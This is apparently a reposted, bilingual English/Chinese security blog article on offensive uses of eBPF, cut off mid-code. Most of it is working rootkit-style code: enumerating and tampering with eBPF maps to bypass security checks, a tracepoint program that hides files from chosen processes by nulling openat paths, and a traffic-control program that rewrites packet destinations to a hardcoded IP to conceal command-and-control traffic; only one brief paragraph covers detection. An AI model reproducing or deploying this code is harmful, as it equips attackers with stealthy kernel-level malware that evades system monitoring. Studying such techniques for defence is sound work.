eBPF Offensive Capabilities – Get Ready for Next-gen Malware

渗透技巧 1年前 (2023) admin
173 0 0

It’s not a mystery that eBPF (Extended Berkeley Packet Filter) is a powerful technology, and given its nature, it can be used for good and bad purposes. In this article, we will explore some of the offensive capabilities that eBPF can provide to an attacker and how to defend against them.
eBPF(扩展伯克利数据包过滤器)是一项强大的技术,鉴于其性质,它可以用于好的和坏的目的,这并不神秘。在本文中,我们将探讨 eBPF 可以为攻击者提供的一些攻击功能以及如何防御它们。

eBPF has gained a lot of attention since its first release in 2014 into the Linux kernel (Kernel 4.4). This powerful technology allows one to run programs deep inside the Linux kernel without the need to write kernel modules or load kernel drivers. These programs are written in a restricted C-like language and compiled into bytecode that is executed by the kernel in the eBPF Virtual Machine. eBPF programs, given their nature, don’t have the usual lifecycle of a user-space process, but are rather executed when certain (programmer-specified) kernel events occur.
自 2014 年首次发布到 Linux 内核(内核 4.4)中以来,eBPF 获得了很多关注。这种强大的技术允许人们在 Linux 内核深处运行程序,而无需编写内核模块或加载内核驱动程序。这些程序是用受限制的类 C 语言编写的,并编译成字节码,由 eBPF 虚拟机中的内核执行。eBPF 程序,鉴于其性质,没有用户空间进程的通常生命周期,而是在某些(程序员指定的)内核事件发生时执行。

Those events take the name of hooks and are placed in various places in the kernel, such as network sockets, tracepoints, kprobes, uprobes, and more. They can be used for many different purposes, such as tracing, networking, and security.
这些事件采用钩子的名称,并放置在内核中的不同位置,例如网络套接字、跟踪点、kprobe、uprobes 等。它们可用于许多不同的目的,例如跟踪、网络和安全。

In fact, in the many different security monitoring tools that exist today, Falco being one of them, eBPF can be used to monitor the system for malicious activity, performance analysis, and also enforce security policies.
事实上,在当今存在的许多不同的安全监控工具中,Falco就是其中之一,eBPF可用于监控系统的恶意活动,性能分析,并执行安全策略。

Probes everywhere – eBPF hooks
探头无处不在 – eBPF 挂钩

eBPF programs can be attached to many different hooks inside the kernel, and the list is growing with every new kernel release. These hooks are called probes and they are placed in various places in the kernel. Here, we’ll expand upon a few of them.
eBPF 程序可以附加到内核内的许多不同的钩子上,并且每个新内核版本的列表都在增长。这些钩子称为探针,它们放置在内核的不同位置。在这里,我们将扩展其中的一些。

  1. Kprobes – Kernel probes are used to instrument kernel functions. They are placed at the beginning or at the end of a function (Kretprobe) and they can be used to trace the execution of a function, to modify the arguments passed to the function, or to skip the execution of the function entirely.
    Kprobes – 内核探测器用于检测内核函数。它们被放置在函数(Kretprobe)的开头或结尾,它们可用于跟踪函数的执行,修改传递给函数的参数,或完全跳过函数的执行。
  2. Uprobes – User probes are used to instrument user-space functions. They can be placed inside a function or any given address (Uretprobe exists too). They are different from Kprobes in the sense that they are used to instrument user-space.
    uprobes – 用户探测器用于检测用户空间函数。它们可以放置在函数或任何给定地址中(Uretprobe 也存在)。它们与Kprobes的不同之处在于它们用于检测用户空间。
  3. Tracepoints – Tracepoints are static markers placed at various points throughout the kernel. They are used to trace the execution of the kernel. The main difference with kprobes is that they are codified by the kernel developers when they implement changes in the kernel.
    跟踪点 – 跟踪点是放置在整个内核中各个点的静态标记。它们用于跟踪内核的执行。与 kprobes 的主要区别在于,它们是由内核开发人员在内核中实现更改时编纂的。
  4. TC or Traffic Control – Used to monitor and control the network traffic, they are similar to eXpress Data Path (XDP) programs, but they are executed after the packet has been processed by the kernel. They can be used to modify the packet or to drop it entirely.
    TC 或流量控制 – 用于监视和控制网络流量,它们类似于 eXpress 数据路径 (XDP) 程序,但它们在内核处理数据包后执行。它们可用于修改数据包或完全丢弃数据包。
  5. XPD or eXpress Data Path – Like traffic control hooks, they are used to monitor network packets, are way faster than TC hooks because they are executed before the packet is processed by the kernel, and they can be used to entirely modify the packet.
    XPD或eXpress数据路径 – 与流量控制钩子一样,它们用于监视网络数据包,比TC钩子快得多,因为它们在内核处理数据包之前执行,并且它们可用于完全修改数据包。

With this many hooks available, eBPF programs can be used to monitor and modify the execution of the kernel. This is why eBPF is so powerful, and also why it can be used for bad purposes too.
有了这么多可用的钩子,eBPF 程序可以用来监控和修改内核的执行。这就是为什么eBPF如此强大,也是为什么它也可以用于不良目的。

eBPF programs eBPF计划

eBPF programs are compiled into bytecode that is executed by the kernel. The eBPF programs are loaded into the kernel using the bpf() syscall – the syscall signature looks like this:
eBPF程序被编译成由内核执行的字节码。eBPF 程序使用系统调用加载到内核中 – bpf() 系统调用签名如下所示:

int bpf(int cmd, union bpf_attr *attr, unsigned int size);Code language: Perl (perl)

The cmd parameter is used to specify the operation to perform, the attr parameter is used to pass the arguments to the syscall, and the size parameter is used to specify the size of the attr parameter.
参数用于指定要执行的操作,参数用于将参数传递给系统调用,参数用于指定 cmd attr size attr 参数的大小。

There are many different possible commands, some of them are:
有许多不同的可能命令,其中一些是:

enum bpf_cmd {
    BPF_MAP_CREATE,   /* create map */
    BPF_MAP_LOOKUP_ELEM, /* lookup element in map */
    BPF_MAP_UPDATE_ELEM, /* update element in map */
    BPF_MAP_DELETE_ELEM, /* delete element in map */
    BPF_MAP_GET_NEXT_KEY, /* get next key in map */
    BPF_PROG_LOAD,   /* load BPF program */
    ...
    ...
};
Code language: Perl (perl)

Right now, we are interested in the BPF_PROG_LOAD command. This command is used to load an eBPF program into the kernel, and the attr parameter will specify the type of the program to load, the bytecode, the size of the bytecode, and other parameters. The bpf() syscall will return a file descriptor related to the program being loaded. This file descriptor can be used to attach the program to a hook, or to unload the program from the kernel. The program will remain in the kernel memory until the file descriptor is closed.
现在,我们对命令 BPF_PROG_LOAD 感兴趣。该命令用于将 eBPF 程序加载到内核中,参数将指定要加载的程序类型、字节码、字节码大小等 attr 参数。 bpf() 系统调用将返回与正在加载的程序相关的文件描述符。此文件描述符可用于将程序附加到挂钩,或从内核卸载程序。程序将保留在内核内存中,直到文件描述符关闭。

Fortunately for us, we don’t have to directly call the bpf() syscall in order to create eBPF programs. There are many different libraries that can be used to create eBPF programs, some of them are:
幸运的是,我们不必直接调用 bpf() 系统调用来创建 eBPF 程序。有许多不同的库可用于创建 eBPF 程序,其中一些是:

  • libbpf – written in C
    libbpf – 用 C 语言编写
  • libbpfgo – written in Go
    libbpfgo – 用 Go 编写
  • ebpf-go – written in Go
    ebpf-go – 用 Go 编写

We will use libbpfgo in this article, but the concepts are the same for all the libraries.
我们将在本文中使用 libbpfgo ,但所有库的概念都是相同的。

Kernel-mode to user-mode communication and vice-versa
内核模式到用户模式通信,反之亦然

eBPF programs are executed in the kernel, but they can communicate with user-space programs and vice-versa. This is done using special objects called maps. Maps are key-value stores that can be used to exchange data between the kernel and user-space. They are created using the BPF_MAP_CREATE command, and they can be of different types. Some of them are:
eBPF程序在内核中执行,但它们可以与用户空间程序通信,反之亦然。这是使用称为地图的特殊对象完成的。映射是键值存储,可用于在内核和用户空间之间交换数据。它们是使用 BPF_MAP_CREATE 命令创建的,它们可以是不同的类型。其中一些是:

  • BPF_MAP_TYPE_ARRAY – an array of elements, each element can be accessed using an index.
    BPF_MAP_TYPE_ARRAY – 元素数组,每个元素都可以使用索引访问。
  • BPF_MAP_TYPE_HASH – a hash table, each element can be accessed using a key.
    BPF_MAP_TYPE_HASH – 哈希表,每个元素都可以使用密钥访问。
  • BPF_MAP_TYPE_PERCPU_ARRAY – an array of elements, each element can be accessed using an index, but uses a different memory region per CPU.
    BPF_MAP_TYPE_PERCPU_ARRAY – 元素数组,每个元素都可以使用索引访问,但每个 CPU 使用不同的内存区域。
  • BPF_MAP_TYPE_PERCPU_HASH – a hash table, each element can be accessed using a key, but uses a different memory region per CPU.
    BPF_MAP_TYPE_PERCPU_HASH – 哈希表,每个元素都可以使用密钥访问,但每个 CPU 使用不同的内存区域。
  • BPF_MAP_TYPE_STACK – a stack of elements, each element can be accessed using an index, the elements are stored in a LIFO fashion.
    BPF_MAP_TYPE_STACK – 元素堆栈,每个元素都可以使用索引访问,元素以 LIFO 方式存储。
  • BPF_MAP_TYPE_QUEUE – a queue of elements, each element can be accessed using an index, the elements are stored in a FIFO fashion.
    BPF_MAP_TYPE_QUEUE – 元素队列,每个元素都可以使用索引访问,元素以 FIFO 方式存储。
  • BPF_MAP_TYPE_PERF_EVENT_ARRAY – a special map used to send events to user-space.
    BPF_MAP_TYPE_PERF_EVENT_ARRAY – 用于将事件发送到用户空间的特殊映射。

For our purpose, we will use a BPF_MAP_TYPE_HASH to share some structs between the user-space and the kernel and a BPF_MAP_TYPE_PERF_EVENT_ARRAY to send events to user-space.
出于我们的目的,我们将使用 a 在用户空间和内核之间共享一些结构,并使用 a BPF_MAP_TYPE_HASH BPF_MAP_TYPE_PERF_EVENT_ARRAY 将事件发送到用户空间。

eBPF programs format eBPF程序格式

As we said before, eBPF programs are written in a restricted C-like language which is then translated into bytecode. The eBPF virtual machine is a 64-bit RISC machine, and it has 11 registers and a fixed size (512 bytes) stack. The registers are:
正如我们之前所说,eBPF程序是用一种受限制的类C语言编写的,然后被翻译成字节码。eBPF 虚拟机是一台 64 位 RISC 机器,它有 11 个寄存器和一个固定大小(512 字节)的堆栈。登记册是:

  • r0 – stores return values, both for function calls and the current program exit code.
    R0 – 存储函数调用和当前程序退出代码的返回值。
  • r1r5 – used as function call arguments, upon program start r1 contains the “context” argument pointer.
    R1–R5 – 用作函数调用参数,在程序启动时 R1 包含“上下文”参数指针。
  • r6r9 – these get preserved between kernel function calls.
    R6–R9 – 这些在内核函数调用之间保留。
  • r10 – stack pointer. R10 – 堆栈指针。

Nonetheless, the eBPF virtual machine can also use 32-bit addressing if the most significant bit of the register is zeroed.
尽管如此,如果寄存器的最高有效位归零,eBPF 虚拟机也可以使用 32 位寻址。

This source-to-bytecode translation is handled by clang which can easily target the eBPF virtual architecture. In order to compile a C program into eBPF bytecode, we can use the following command:
这种源到字节码的转换由它处理 clang ,可以轻松地针对 eBPF 虚拟架构。为了将一个C程序编译成eBPF字节码,我们可以使用以下命令:

clang -target bpf -c program.c -o program.oCode language: Perl (perl)

This will compile the program.c file into program.o which is the bytecode file. This file can then be relocated and loaded into the kernel using the libraries we mentioned before.
这将编译 program.c 为 program.o 字节码文件的文件。然后可以使用我们之前提到的库重新定位此文件并将其加载到内核中。

JIT compilation, Verifier, and ALU sanitization
JIT 编译、验证程序和 ALU 清理

Due to its performance-critical nature, eBPF programs are compiled from VM Bytecode into native machine code by the kernel. This is called JIT or Just In Time compilation, and is done only once (when the program is loaded). Unless the kernel is compiled with CONFIG_BPF_JIT_ALWAYS_ON=false, the compiled program is then stored in the kernel memory and is executed every time the hook is triggered.
由于其性能关键性,eBPF 程序由内核从虚拟机字节码编译为本机机器代码。这称为 JIT 或实时编译,并且只执行一次(加载程序时)。除非内核是用 编译的,否则编译 CONFIG_BPF_JIT_ALWAYS_ON=false 的程序会存储在内核内存中,并在每次触发钩子时执行。

Executing untrusted code inside the kernel may be a really dangerous thing, and this is why the kernel developers implemented a verifier that checks the bytecode before compiling it, this verifier checks that the program is safe to execute, and it also checks that the program is not too complex. This is done to avoid denial of services (DoS) attacks. The verifier is also used to check that the program is not trying to access memory outside the stack, or that it is not trying to access memory that is not mapped. This is done to avoid memory corruption attacks (ALU sanitization).
在内核内执行不受信任的代码可能是一件非常危险的事情,这就是为什么内核开发人员实现了一个验证器,在编译字节码之前检查字节码,这个验证器检查程序是否安全执行,它还检查程序是否太复杂。这样做是为了避免拒绝服务 (DoS) 攻击。验证程序还用于检查程序是否未尝试访问堆栈外部的内存,或者是否未尝试访问未映射的内存。这样做是为了避免内存损坏攻击(ALU 清理)。

This safety is achieved by emulating the sequence of instructions and checking that the registers are used correctly. Below are some of the checks performed by the verifier, to name a few:
这种安全性是通过模拟指令序列并检查寄存器是否正确使用来实现的。以下是验证者执行的一些检查,仅举几例:

  • Pointer bounds checking 指针边界检查
  • Verifying that the stack’s reads are preceded by stack writes
    验证堆栈的读取之前是否在堆栈写入之前
  • Preventing the use of unbounded loops
    防止使用无界循环
  • Register value tracking 寄存器值跟踪
  • Branch pruning 树枝修剪
  • And many more… 还有更多…

More information about the verifier can be found here.
有关验证程序的更多信息,请参阅此处。

eBPF offensive capabilities
eBPF攻击能力

Given the knowledge we have so far, we can start to think about some offensive capabilities that eBPF programs can provide. Below are some of them:
鉴于我们目前掌握的知识,我们可以开始考虑eBPF程序可以提供的一些攻击能力。以下是其中的一些:

  • Abusing direct map access – eBPF programs can access maps directly, meaning that if we have access to a map file descriptor, we can modify the logic of the program.
    滥用直接映射访问 – eBPF 程序可以直接访问映射,这意味着如果我们可以访问映射文件描述符,我们可以修改程序的逻辑。
  • Abusing Kprobes – eBPF programs use carefully crafted Kprobes to hook into kernel functions, so we can modify the behavior of the kernel like hiding processes or files.
    滥用 Kprobes – eBPF 程序使用精心制作的 Kprobes 挂钩到内核函数中,因此我们可以修改内核的行为,例如隐藏进程或文件。
  • Abusing TC hook – eBPF programs can be attached to the TC hook, meaning that we can use eBPF programs to modify the traffic of a specific interface even hiding malicious traffic.
    滥用 TC 钩子 – eBPF 程序可以附加到 TC 钩子,这意味着我们可以使用 eBPF 程序来修改特定接口的流量,甚至隐藏恶意流量。
  • Abusing Uprobes – eBPF programs can use Uprobes to hook into user-space functions, meaning that we can modify the behavior of user-space programs.
    滥用Uprobes – eBPF程序可以使用Uprobes挂接到用户空间函数,这意味着我们可以修改用户空间程序的行为。

Following, we will see some examples of these capabilities.
下面,我们将看到这些功能的一些示例。

Abusing direct map access
滥用直接地图访问

Due to their nature, maps are a great target for attackers since writing to a map could modify the logic of the underlying eBPF program. Assume we are analyzing a firewall implementation entirely done with eBPF. The user-space component could talk over maps to the kernel to update the list of firewall rules. In order to do this, we would need access to that map file description. That’s actually possible thanks to BPF_MAP_GET_NEXT_ID , BPF_MAP_GET_NEXT_KEY and BPF_MAP_LOOKUP_ELEM commands. Root permission is needed.
由于其性质,地图是攻击者的重要目标,因为写入地图可能会修改底层 eBPF 程序的逻辑。假设我们正在分析完全使用 eBPF 完成的防火墙实现。用户空间组件可以通过映射到内核来更新防火墙规则列表。为此,我们需要访问该映射文件描述。这实际上是可能的 BPF_MAP_GET_NEXT_ID ,这要归功于 和 BPF_MAP_GET_NEXT_KEY BPF_MAP_LOOKUP_ELEM 命令。需要根权限。

First of all, we need to start looping through all the available maps. This can be done using the BPF_MAP_GET_NEXT_ID command, which will return the next available map id. We can use this command to loop through all the available maps. The following code shows how to do this:
首先,我们需要开始遍历所有可用的地图。这可以使用命令 BPF_MAP_GET_NEXT_ID 来完成,该命令将返回下一个可用的映射 ID。我们可以使用此命令遍历所有可用的地图。以下代码演示如何执行此操作:

static int bpf_obj_get_next_id(__u32 start_id, __u32 *next_id)
{
    const size_t attr_sz = offsetofend(union bpf_attr, open_flags);
    union bpf_attr attr;
    int err;

    memset(&attr, 0, attr_sz);
    attr.start_id = start_id;

    err = sys_bpf(BPF_MAP_GET_NEXT_ID, &attr, attr_sz);
    if (!err)
        *next_id = attr.next_id;

    return err;
}Code language: Perl (perl)

To loop through all the available maps, we can do something like this:
要遍历所有可用的地图,我们可以执行以下操作:

while (bpf_obj_get_next_id(next_id, &next_id) == 0) {
    // do something with the id
}Code language: Perl (perl)

Once we have the map id, we can use the BPF_MAP_GET_FD_BY_ID command to get the file descriptor of the map. This can be done in the following way:
一旦我们有了地图 ID,我们就可以使用命令来 BPF_MAP_GET_FD_BY_ID 获取地图的文件描述符。这可以通过以下方式完成:

int bpf_map_get_fd_by_id_opts(uint32_t id, const struct bpf_get_fd_by_id_opts *opts)
{
    const size_t attr_sz = offsetofend(union bpf_attr, open_flags);
    union bpf_attr attr;
    int fd;

    if (!OPTS_VALID(opts, bpf_get_fd_by_id_opts))
        return libbpf_err(-EINVAL);

    memset(&attr, 0, attr_sz);
    attr.map_id = id;
    attr.open_flags = OPTS_GET(opts, open_flags, 0);

    fd = sys_bpf_fd(BPF_MAP_GET_FD_BY_ID, &attr, attr_sz);
    return libbpf_err_errno(fd);
}Code language: Perl (perl)

Then we can retrieve the map file descriptor:
然后我们可以检索映射文件描述符:

int fd = bpf_map_get_fd_by_id(next_id);
Code language: Perl (perl)

Once we have the file descriptor, we can get the map type and the map name using the BPF_OBJ_GET_INFO_BY_FD command:
获得文件描述符后,我们可以使用以下命令 BPF_OBJ_GET_INFO_BY_FD 获取映射类型和映射名称:

int bpf_obj_get_info_by_fd(int bpf_fd, void *info, __u32 *info_len)
{
    const size_t attr_sz = offsetofend(union bpf_attr, info);
    union bpf_attr attr;
    int err;

    memset(&attr, 0, attr_sz);
    attr.info.bpf_fd = bpf_fd;
    attr.info.info_len = *info_len;
    attr.info.info = ptr_to_u64(info);

    err = sys_bpf(BPF_OBJ_GET_INFO_BY_FD, &attr, attr_sz);
    if (!err)
        *info_len = attr.info.info_len;
    return libbpf_err_errno(err);
}
Code language: Perl (perl)

Then we can retrieve the map type and the map name:
然后我们可以检索映射类型和映射名称:

struct bpf_map_info info = {};
__u32 info_len = sizeof(info);
int ret = bpf_obj_get_info_by_fd(fd, &info, &info_len);Code language: Perl (perl)

The struct bpf_map_info contains the map type and the map name. We can read them this way:
该结构 bpf_map_info 包含映射类型和映射名称。我们可以这样解读它们:

printf("map name: %s\n", info.name);
printf("map type: %d\n", info.type);Code language: Perl (perl)

This is actually really useful if we want to filter the maps by name or by type:
如果我们想按名称或类型过滤地图,这实际上非常有用:

if (!strcmp(info.name, "firewall") || info.type != BPF_MAP_TYPE_HASH) {
    // do something
}Code language: Perl (perl)

Once we have all the needed information, we can start to interact with the map. For example, we can retrieve all the keys of the map using the BPF_MAP_GET_NEXT_KEY command:
一旦我们获得了所有需要的信息,我们就可以开始与地图进行交互。例如,我们可以使用以下命令 BPF_MAP_GET_NEXT_KEY 检索映射的所有键:

int bpf_map_get_next_key(int fd, const void *key, void *next_key)
{
    const size_t attr_sz = offsetofend(union bpf_attr, next_key);
    union bpf_attr attr;
    int ret;

    memset(&attr, 0, attr_sz);
    attr.map_fd = fd;
    attr.key = ptr_to_u64(key);
    attr.next_key = ptr_to_u64(next_key);

    ret = sys_bpf(BPF_MAP_GET_NEXT_KEY, &attr, attr_sz);
    return libbpf_err_errno(ret);
}Code language: Perl (perl)

And then we can look up the keys:

unsigned int key = -1;
unsigned int next_key = -1;
while (bpf_map_get_next_key(fd, key, next_key) == 0) {
    // do something with the key
}Code language: Perl (perl)

With the BPF_MAP_LOOKUP_ELEM command, we can look up the value of a given key:
使用该 BPF_MAP_LOOKUP_ELEM 命令,我们可以查找给定键的值:

int bpf_map_lookup_elem(int fd, const void *key, void *value)
{
    const size_t attr_sz = offsetofend(union bpf_attr, flags);
    union bpf_attr attr;
    int ret;

    memset(&attr, 0, attr_sz);
    attr.map_fd = fd;
    attr.key = ptr_to_u64(key);
    attr.value = ptr_to_u64(value);

    ret = sys_bpf(BPF_MAP_LOOKUP_ELEM, &attr, attr_sz);
    return libbpf_err_errno(ret);
}Code language: Perl (perl)

The final code will look like this:
最终代码将如下所示:

int main(int argc, char **argv)
{
    unsigned int next_id = 0;

    while (bpf_obj_get_next_id(next_id, &next_id, BPF_MAP_GET_NEXT_ID) == 0)
    {
        int fd = bpf_map_get_fd_by_id(next_id);

        if (fd < 0)
        {
            printf("bpf_map_get_fd_by_id failed: %d (%d)\n", fd, errno);
            return 1;
        }

        struct bpf_map_info info = {};
        __u32 info_len = sizeof(info);
        int ret = bpf_obj_get_info_by_fd(fd, &info, &info_len);

        if (ret < 0)
        {
            printf("bpf_obj_get_info_by_fd failed: %d (%d)\n", ret, errno);
            return 1;
        }

        printf("map fd: %d\n", fd);
        printf("map name: %s\n", info.name);
        printf("map type: %s\n", bpf_map_type_to_string(info.type));
        printf("map key size: %d\n", info.key_size);
        printf("map value size: %d\n", info.value_size);
        printf("map max entries: %d\n", info.max_entries);
        printf("map flags: %d\n", info.map_flags);
        printf("map id: %d\n", info.id);

        unsigned int next_key = 0;

        printf("keys:\n");
        while (bpf_map_get_next_key(fd, &next_key, &next_key) == 0)
        {
            void *value = malloc(info.value_size);
            ret = bpf_map_lookup_elem(fd, &next_key, value);

            if (ret == 0)
            {
                printf("    - %d\n", next_key);
                map_hexdump(value, info.value_size);
                printf("\n");
            }
        }

        printf("------------------------\n");
    }

    return 0;
}Code language: Perl (perl)

Once we have access to the file descriptor, it’s just a matter of reversing the map content and interpreting it. This would allow an attacker to modify the map content and change the behavior of the eBPF program (e.g., bypassing security checks).
一旦我们可以访问文件描述符,只需反转地图内容并对其进行解释即可。这将允许攻击者修改地图内容并更改 eBPF 程序的行为(例如,绕过安全检查)。

A funny attack could be abusing the BPF_MAP_FREEZE command, as stated in the documentation:
一个有趣的攻击可能是滥用命令 BPF_MAP_FREEZE ,如文档中所述:

/*
 * BPF_MAP_FREEZE
 *  Description
 *      Freeze the permissions of the specified map.
 *
 *      Write permissions may be frozen by passing zero *flags*.
 *      Upon success, no future syscall invocations may alter the
 *      map state of *map_fd*. Write operations from eBPF programs
 *      are still possible for a frozen map.
 *
 *      Not supported for maps of type **BPF_MAP_TYPE_STRUCT_OPS**.
 *
 *  Return
 *      Returns zero on success. On error, -1 is returned and *errno*
 *      is set appropriately.
 */Code language: Perl (perl)

Doing so would prevent any future syscall to alter the map state from userspace (e.g., bypassing security checks). This means that the map content can be modified only by eBPF programs.
这样做将防止将来任何系统调用从用户空间更改映射状态(例如,绕过安全检查)。这意味着地图内容只能由eBPF程序修改。

Hiding files with Kprobes
使用 Kprobes 隐藏文件

Hooking syscalls from the kernel itself is quite handy when it comes to hiding files, folders, or even processes from the user. The following example shows how to hide a specific file from any command that tries to read it (e.g., catnanogrep etc.).
从内核本身挂钩系统调用在向用户隐藏文件、文件夹甚至进程时非常方便。下面的示例演示如何从尝试读取该文件的任何命令中隐藏特定文件(例如, cat 、 nano 等 grep )。

It works by setting a tracepoint on the sys_enter event which gets triggered every time a syscall is invoked, then it checks if the syscall id is SYS_openat and if the path matches the one we want to hide. If so, it overwrites the path with a null byte. This example uses maps to store both the target path and eventually the target process name and pid. This allows us to hide the file only for a specific process or for all the processes.
它的工作原理是在 sys_enter 每次调用系统调用时触发的事件上设置跟踪点,然后检查系统调用 ID 是否为 SYS_openat ,以及路径是否与我们想要隐藏的路径匹配。如果是这样,它将用空字节覆盖路径。此示例使用映射来存储目标路径,并最终存储目标进程名称和 pid。这使我们能够仅隐藏特定进程或所有进程的文件。

The first thing to do is create a new tracepoint using the BPF_PROG_TYPE_RAW_TRACEPOINT program type. This can be done like this:
首先要做的是使用 BPF_PROG_TYPE_RAW_TRACEPOINT 程序类型创建一个新的跟踪点。这可以像这样完成:

SEC("raw_tracepoint/sys_enter")
int raw_tracepoint__sys_enter(struct bpf_raw_tracepoint_args *ctx)
{
    // your code here

    return 0;
}Code language: Perl (perl)

SEC is a macro that is used to specify the section of the program. In this case, we are using the raw_tracepoint/sys_enter section. This section will be used by libbpf to attach the program to the sys_enter tracepoint.
SEC 是用于指定程序部分的宏。在本例中,我们使用该 raw_tracepoint/sys_enter 部分。libbpf 将使用本节将程序附加到 sys_enter 跟踪点。

The bpf_raw_tracepoint_args struct contains the arguments passed to the tracepoint. In this case, the first argument is a pointer to the pt_regs struct. This structure contains the registers of the current process. The second argument is the syscall id, so we want to check if the syscall id is SYS_openat and, if so, we want to overwrite the path with a null byte.
该 bpf_raw_tracepoint_args 结构包含传递给跟踪点的参数。在这种情况下,第一个参数是指向结构的 pt_regs 指针。此结构包含当前进程的寄存器。第二个参数是系统调用 id,因此我们要检查系统调用 ID 是否为 SYS_openat ,如果是,我们希望用空字节覆盖路径。

unsigned long syscall_id = ctx->args[1];
struct pt_regs *regs;
regs = (struct pt_regs *)ctx->args[0];
if (syscall_id == SYS_openat)
{
    // do something
}Code language: Perl (perl)

In order to communicate with the running program in user-mode, we shared a struct like the following:
为了在用户模式下与正在运行的程序进行通信,我们共享了一个结构,如下所示:

struct target
{
    int pid;
    char procname[16];
    char path[256];
};

struct
{
    __uint(type, BPF_MAP_TYPE_HASH);
    __type(key, u32);
    __type(value, struct target);
    __uint(max_entries, 1);
} target SEC(".maps");Code language: Perl (perl)

The same struct must be defined on the golang side:
必须在 golang 端定义相同的结构:

type Target struct {
    Pid  uint32
    Comm [16]byte
    Path [256]byte
}Code language: Perl (perl)

We then can update the struct from the user-space like this:
然后,我们可以像这样从用户空间更新结构:

targetMap, err := bpfModule.GetMap("target")
if err != nil {
    fmt.Fprintln(os.Stderr, err)
    os.Exit(-1)
}

// update the map

key := uint32(0x1337)
var val Target
copy(val.Comm[:], procname)
copy(val.Path[:], filepath)
val.Pid = uint32(pid)
keyUnsafe := unsafe.Pointer(&key)
valueUnsafe := unsafe.Pointer(&val)
targetMap.Update(keyUnsafe, valueUnsafe)
Code language: Perl (perl)

In order to make everything work, we would need some utility functions since eBPF programs can’t use libc functions. The following functions are used to manipulate strings:
为了使一切正常,我们需要一些实用程序函数,因为 eBPF 程序不能使用 libc 函数。以下函数用于操作字符串:

static __always_inline __u64
__bpf_strncmp(const void *x, const void *y, __u64 len)
{
    // implement strncmp
    for (int i = 0; i < len; i++)
    {
        if (((char *)x)[i] != ((char *)y)[i])
        {
            return ((char *)x)[i] - ((char *)y)[i];
        }
        else if (((char *)x)[i] == '\0')
        {
            return 0;
        }
    }

    return 0;
}

static __always_inline __u64
__bpf_strlen(const void *x)
{
    // implement strlen
    __u64 len = 0;
    while (((char *)x)[len] != '\0')
    {
        len++;
    }
    return len;
}
Code language: Perl (perl)

The final code will look like this:
最终代码将如下所示:

if (syscall_id == SYS_openat)
{
    struct target *tar;
    u32 key = 0x1337;
    tar = bpf_map_lookup_elem(&target, &key);
    if (!tar)
    {
        return 0;
    }
    else
    {
        char pathname[256];
        char *pathname_ptr = (char *)PT_REGS_PARM2_CORE(regs);
        bpf_core_read_user_str(&pathname, sizeof(pathname), pathname_ptr);

        char comm[16];
        bpf_get_current_comm(&comm, sizeof(comm));

        u32 pid = bpf_get_current_pid_tgid() >> 32;
        bool match = false;

        if (tar->pid != 0 && pid == tar->pid)
        {
            match = true;
        }

        if (!match && __bpf_strncmp(comm, tar->procname, sizeof(comm)) == 0)
        {
            if (!match && __bpf_strncmp(pathname, tar->path, sizeof(pathname)) == 0)
            {
                match = true;
            }
        }
        else
        {
            if (!match && __bpf_strncmp(pathname, tar->path, sizeof(pathname)) == 0)
            {
                match = true;
            }
        }

        if (match)
        {

            if (bpf_probe_write_user(pathname_ptr, "\x00", 1) != 0)
            {
                return 0;
            }
        }
    }
}
Code language: Perl (perl)

Another approach to obtain the same result is by hooking SYS_getdents and filtering the file we want to hide from the list of files returned by the syscall.
获得相同结果的另一种方法是挂钩 SYS_getdents 并过滤我们要从系统调用返回的文件列表中隐藏的文件。

From a defensive perspective, it’s possible to detect this kind of attack by using eBPF to monitor syscalls to SYS_bpf and check if the attacker is trying to load a program that hooks syscalls. This can be done by checking the BPF_PROG_TYPE_RAW_TRACEPOINT inside the bpf_prog_info struct.
从防御的角度来看,可以通过使用 eBPF 监视系统调用 SYS_bpf 并检查攻击者是否尝试加载挂钩系统调用的程序来检测此类攻击。这可以通过检查结构 BPF_PROG_TYPE_RAW_TRACEPOINT 内部 bpf_prog_info 来完成。

Traffic redirection with TC
使用 TC 进行流量重定向

Another important feature of eBPF is the ability to modify incoming and outgoing traffic on the fly, which can be done using the TC hook. This hook is executed after the packet has been processed by the kernel, meaning that the packet has already been processed by the XDP hook if it was attached to the interface.
eBPF 的另一个重要功能是能够动态修改传入和传出流量,这可以使用 TC 钩子来完成。此挂钩在内核处理数据包后执行,这意味着如果数据包已连接到接口,则数据包已由 XDP 挂钩处理。

TC can be abused to hide malicious traffic and is really useful when it comes to hiding C2 traffic. The following example shows how to redirect all the traffic to a specific IP address. This way, anyone monitoring the traffic on the interface won’t be able to see the real destination of the packets.
TC 可能被滥用来隐藏恶意流量,并且在隐藏 C2 流量时非常有用。以下示例演示如何将所有流量重定向到特定 IP 地址。这样,监控接口上流量的任何人都将无法看到数据包的真实目的地。

The first thing to do is create a new TC hook like this:
首先要做的是创建一个新的 TC 钩子,如下所示:

SEC("tc")
int tc_prog(struct __sk_buff *skb)
{
    return TC_ACT_OK;
}Code language: Perl (perl)

The return value can be either TC_ACT_OK or TC_ACT_SHOT. The first one means that the packet should be processed normally, the second one means that the packet should be dropped, so pay attention to this otherwise you will end up dropping all the traffic.
返回值可以是 TC_ACT_OK 或 TC_ACT_SHOT 。第一个表示数据包应正常处理,第二个表示应丢弃数据包,因此请注意这一点,否则最终将丢弃所有流量。

The struct __sk_buff struct contains all the information about the packet. We can use this struct to retrieve the destination IP address and modify it. The following code shows how to do this:
该 struct __sk_buff 结构包含有关数据包的所有信息。我们可以使用此结构来检索目标 IP 地址并对其进行修改。以下代码演示如何执行此操作:

struct iphdr *iph = (struct iphdr *)(skb->data + sizeof(struct ethhdr));
if ((void *)(iph + 1) > skb->data_end)
{
    return TC_ACT_OK;
}

if (iph->protocol == IPPROTO_TCP)
{
    // get tcphdr
    struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
    if ((void *)(tcph + 1) > skb->data_end)
    {
        return TC_ACT_OK;
    }

    // get tcp dst addr and dst port
    __u32 dst_addr = bpf_htonl(iph->daddr);
    __u16 dst_port = bpf_htons(tcph->dest);

    if (dst_addr == 0xDEADBEEF)
    {
        // check if dst port is 0x1337
        if (dst_port == 0x1337)
        {
            // modify dest port to 1234
            u16 new_dst_port = bpf_htons(1234);
            bpf_skb_store_bytes(skb, sizeof(struct ethhdr) + sizeof(struct iphdr) + offsetof(struct tcphdr, dest), &new_dst_port, sizeof(new_dst_port), BPF_F_RECOMPUTE_CSUM);

            // modify dest addr to 15.204.197.177
            u32 new_dst_addr = bpf_htonl(0x0FC4C5B1);
